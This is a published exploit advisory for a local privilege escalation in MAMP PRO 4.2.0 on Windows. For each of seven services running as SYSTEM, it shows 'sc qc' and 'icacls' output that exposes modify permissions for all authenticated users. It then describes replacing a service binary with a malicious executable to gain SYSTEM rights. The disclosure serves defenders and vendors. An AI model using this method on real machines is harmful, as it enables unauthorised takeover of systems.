# Exploit Title: MAMP PRO 4.2.0 Local Privilege Escalation
# Date: 2020-07-08
# Exploit Author: b1nary
# Vendor Homepage: https://www.mamp.info/
# Software Link: https://downloads.mamp.info/MAMP-PRO-WINDOWS/releases/4.2.0/MAMP_MAMP_PRO_4.2.0.exe
# Version: 4.2.0
# Tested on: Windows 10 Pro x64 Version 10.0.19041 

MAMPPRO Windows installer installs seven services called 'MAMPPRO’, 'MAMPPRO-Apache', ‘MAMPPRO-MySQL’, ’MAMPDNS’, ‘MAMPPRO-Memcached', ‘emailrelay-service.exe’, and 'MAMPPRO-NGINX'. All those services runs with 'SYSTEM' privileges and they have weak file permission. Which means that a low-privileged user can modify those services and execute code with ‘SYSTEM’ privileges on the system. 

NT AUTHORITY\Authenticated Users:(I)(M) means that every authenticated user has modify access, (M) stands for Modify, on the files, so they can read, write and delete the files. 

=================================================================

(1). ===== MAMPPRO =====
C:\Users\user>sc qc MAMPPRO
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: MAMPPRO
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\MAMPPRO\MAMPPROService.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : MAMPRO Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\MAMPPRO>icacls c:\MAMPPRO\MAMPPROService.exe
C:\MAMPPRO\MAMPPROService.exe BUILTIN\Administrators:(I)(F)
                              NT AUTHORITY\SYSTEM:(I)(F)
                              BUILTIN\Users:(I)(RX)
                              NT AUTHORITY\Authenticated Users:(I)(M)

Successfully processed 1 files; Failed processing 0 files


(2). ===== MAMPPRO-Apache =====
C:\Users\user>sc qc MAMPPRO-Apache
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: MAMPPRO-Apache
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\MAMP\bin\apache\bin\httpd.exe" -k runservice
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : MAMPPRO-Apache
        DEPENDENCIES       : Tcpip
                           : Afd
        SERVICE_START_NAME : LocalSystem

C:\Users\user>icacls "c:\MAMP\bin\apache\bin\httpd.exe"
c:\MAMP\bin\apache\bin\httpd.exe BUILTIN\Administrators:(I)(F)
                                 NT AUTHORITY\SYSTEM:(I)(F)
                                 BUILTIN\Users:(I)(RX)
                                 NT AUTHORITY\Authenticated Users:(I)(M)

Successfully processed 1 files; Failed processing 0 files

(3). ===== MAMPPRO-MySQL =====
C:\Users\user>sc qc MAMPPRO-MySQL
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: MAMPPRO-MySQL
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\MAMP\bin\mysql\bin\mysqld.exe --defaults-file=C:\Users\Public\Documents\Appsolute\MAMPPRO\conf\my.ini MAMPPRO-MySQL
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : MAMPPRO-MySQL
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem


C:\Users\user>icacls "C:\MAMP\bin\mysql\bin\mysqld.exe"
C:\MAMP\bin\mysql\bin\mysqld.exe BUILTIN\Administrators:(I)(F)
                                 NT AUTHORITY\SYSTEM:(I)(F)
                                 BUILTIN\Users:(I)(RX)
                                 NT AUTHORITY\Authenticated Users:(I)(M)

Successfully processed 1 files; Failed processing 0 files

(4). ===== MAMPDNS =====
C:\Users\user>sc qc MAMPDNS
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: MAMPDNS
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\MAMPPRO\MAMPDNSService.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : MAMPRO DNS Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\user>icacls "C:\MAMPPRO\MAMPDNSService.exe"
C:\MAMPPRO\MAMPDNSService.exe BUILTIN\Administrators:(I)(F)
                              NT AUTHORITY\SYSTEM:(I)(F)
                              BUILTIN\Users:(I)(RX)
                              NT AUTHORITY\Authenticated Users:(I)(M)

Successfully processed 1 files; Failed processing 0 files

(5). ===== MAMPPRO-Memcached =====
C:\Users\user>sc qc MAMPPRO-Memcached
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: MAMPPRO-Memcached
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\MAMPPRO\MAMPMemcached.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : MAMPPRO-Memcached
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\user>icacls "C:\MAMPPRO\MAMPMemcached.exe"
C:\MAMPPRO\MAMPMemcached.exe BUILTIN\Administrators:(I)(F)
                             NT AUTHORITY\SYSTEM:(I)(F)
                             BUILTIN\Users:(I)(RX)
                             NT AUTHORITY\Authenticated Users:(I)(M)

Successfully processed 1 files; Failed processing 0 files

(6). ===== MAMPPRO-NGINX =====
C:\Users\user>sc qc MAMPPRO-NGINX
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: MAMPPRO-NGINX
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\MAMPPRO\MAMPNGINX.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : MAMPPRO-NGINX
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\user>icacls "C:\MAMPPRO\MAMPNGINX.exe"
C:\MAMPPRO\MAMPNGINX.exe BUILTIN\Administrators:(I)(F)
                         NT AUTHORITY\SYSTEM:(I)(F)
                         BUILTIN\Users:(I)(RX)
                         NT AUTHORITY\Authenticated Users:(I)(M)

Successfully processed 1 files; Failed processing 0 files

(7). ===== emailrelay =====
C:\Users\user>sc qc emailrelay
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: emailrelay
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\MAMP\bin\emailrelay\emailrelay-service.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : E-MailRelay
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\user>icacls "C:\MAMP\bin\emailrelay\emailrelay-service.exe"
C:\MAMP\bin\emailrelay\emailrelay-service.exe BUILTIN\Administrators:(I)(F)
                                              NT AUTHORITY\SYSTEM:(I)(F)
                                              BUILTIN\Users:(I)(RX)
                                              NT AUTHORITY\Authenticated Users:(I)(M)

Successfully processed 1 files; Failed processing 0 files

=================================================================

In order to exploit this vulnerability, a local attacker must insert an executable file that should be named as one of the following 'MAMPDNSService.exe' 'MAMPPROService.exe', 'httpd.exe', 'MAMPMemcached.exe', 'mysqld.exe’, ‘emailrelay-service.exe’ or 'MAMPNGINX.exe' , and replace the original files. Once the services start the malicious files will be executed as SYSTEM.